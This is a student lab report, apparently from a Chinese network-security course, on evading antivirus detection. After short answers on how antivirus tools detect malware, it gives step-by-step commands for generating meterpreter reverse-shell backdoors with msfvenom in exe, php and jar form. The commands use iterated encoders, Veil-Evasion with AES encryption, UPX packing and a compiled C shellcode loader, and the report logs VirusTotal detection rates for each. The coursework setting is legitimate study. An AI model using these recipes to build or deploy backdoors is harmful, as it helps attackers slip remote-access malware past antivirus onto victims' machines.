Exp3-免杀原理与实践
作者:互联网
Exp3-免杀原理
姓名:徐海文 学号:20191228 课程:网络对抗技术
一、基础问题回答
1.杀软是如何检测出恶意代码的?
(1)基于特征码的检测
特征码是能识别一个程序是一个病毒的一段不大于64字节的特征串。如果一个可执行文件包含这样的特征码则被杀毒软件检测为是恶意代码。
(2)启发式恶意软件检测
一般在缺乏精确判定依据时,根据些片面特征去推断是否为恶意软件,比如如果一个软件在干通常是恶意软件干的事,看起来像个恶意软件,那就把它当成一个恶意软件。
(3)基于行为的恶意软件检测
基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
2.免杀是做什么?
免杀,即反杀毒技术,是一种能使病毒木马避免被杀毒软件查杀的技术。
3.免杀的基本方法有哪些?
(1)变形特征码:
只有EXE:
加壳:压缩壳 加密壳
有shellcode:
encode编码、payload重新编译
有源代码:
翻译成其他语言
(2)改变明目张胆的行为:
改变通讯方式
尽量使用反弹式连接
使用隧道技术
加密通讯数据
改变操作模式
基于内存操作
减少对系统的修改
加入混淆作用的正常功能代码
(3)非常规免杀方法:
使用社工类攻击、纯手工打造一个恶意软件等等。
4.开启杀软能绝对防止电脑中恶意代码吗?
不能,我们这个实验的目的就是一个很好的例子。
二、实践过程记录
在实验二中已经生成了未经编码处理exe类型的后门程序,将其放到VirusTotal或Virscan(网站链接在文末参考资料中)中查看结果,这里由于VirusTotal中的杀软数量远多于Virscan,所以我选择了VirusTotal:https://www.virustotal.com/
检测直接生成的后门exe文件(实验二中的后门程序)检出率为53/68
不加任何处理的后门程序能够被大多数杀软检测到,接下来用msf编码器对后门程序进行一次到多次的编码,并进行检测
- -e用来选择编码器
- -b用来去除需要去除的字符,应使'\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符
- -i设置迭代次数,这里设置迭代次数为28
先生成一次编码的后门程序:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -b ‘\x00’ LHOST=192.168.1.129 LPORT=11228 -f exe > backdoor1.exe
进行检测(检出率为53/68),这里检出率没变
然后编码多次(这里迭代28次)
生成代码
msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -i -28 -b ‘\x00’ LHOST=192.168.1.129 LPORT=11228 -f exe > backdoor2.exe
进行检测(检出率51/68) 这里有所下降
利用php格式文件
生成代码
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.129 LPORT=11228 x> backdoor_php.php
进行检测(检出率21/57)这里下降了很多
利用jar文件
生成代码
msfvenom -p java/shell_reverse_tcp LHOST=192.168.1.129 LPORT=11228 -f jar > backdoor_jar.jar
这里文件更加小(与文件大小有关系?)
检出率32/60,可以看出显然与大小没有关系。
veil,加壳工具实践
安装工具
安装命令行
sudo apt-get install veil-evasion
安装设置
下载成功后,修改setup.sh:
cd /usr/share/veil/config
vim setup.sh
修改第260这一行
修改成功后,输入veil等待安装
这里进入安装步骤,详细过程就不一 一截图了(课题负责人博客有)
使用veil工具
veil
use evasion //进入Evil—Evasion
use c/meterpreter/rev_tcp.py //进入配置界面
set LHOST 192.168.40.128 //设置反弹链接ip,此处为Kali的ip
set LPORT 11310 //设置端口
generate
设置生成的文件(名称)
保存路径为/var/lib/veil/output/compiled/20191310veil.exe
找到该文件
检测文件(检出率38/68)
免杀加壳尝试
加壳是对相应的资源进行压缩,压缩后仍可运行。
加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。
它可以用来保护版权,但同时许多病毒也利用它来作为原理。
加壳指令
upx 20191228veil.exe -o 20191228_veil_upx.exe
检测文件(检出率39/69)
看来加壳的作用不是很明显
使用C + shellcode编程
使用msfvenom得到shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.129 LPORT=11228 -f c
编辑c文件
vim shellcode_c.c
在末尾加上int main() { int (*func)() = (int(*)())buf; func(); }
编译成可执行文件
i686-w64-mingw32-g++ shellcode_c.c -o shellcode_c.exe
对恶意代码进行检测(检出率33/68)
检出率下降了
通过组合应用各种技术实现恶意代码免杀
利用python+aes_encrypt
打开veil,选择Evasion
list ##寻找palyload
选择结束之后
use python/shellcode_inject/aes_encrypt.py
generate
选择2
给出相应的参数设置端口信息等,生成文件
成功!!
原理:使用了数据加密的方式进行多次编译后门软件,结合使用不同编码器躲过查杀
实践总结与体会
通过本次实验,掌握了后门更多的生成方法以及如何通过加壳实现免杀(虽然没有实现)以及杀软是通过什么来进行杀毒的,体会道了veil的强大之处,同时这次实验让我充分认识到了杀软的局限性以及杀软在面对一些精心制作的后门时几乎是毫无用处的,最关键的是制作这样一个免杀后门的技术门槛和成本是非常低的。所以开启杀软无法绝对防御电脑种的恶意代码。
这次实验相比于前几次来说完成地相对独立了,遇到了很多很多的问题,也是自己一个人慢慢解决了百分之九十九不过真正能力的提升还是得靠自己一点一点来努力,只有把自己逼入绝境才能有所突破,用了很长时间呢,不过这些问题基本上都已经搞明白了,希望下一次会更好,希望下一次自己能做的更加独立。
标签:exe,免杀,Exp3,shellcode,检出率,实践,加壳,veil 来源: https://www.cnblogs.com/kevin-hw/p/16105875.html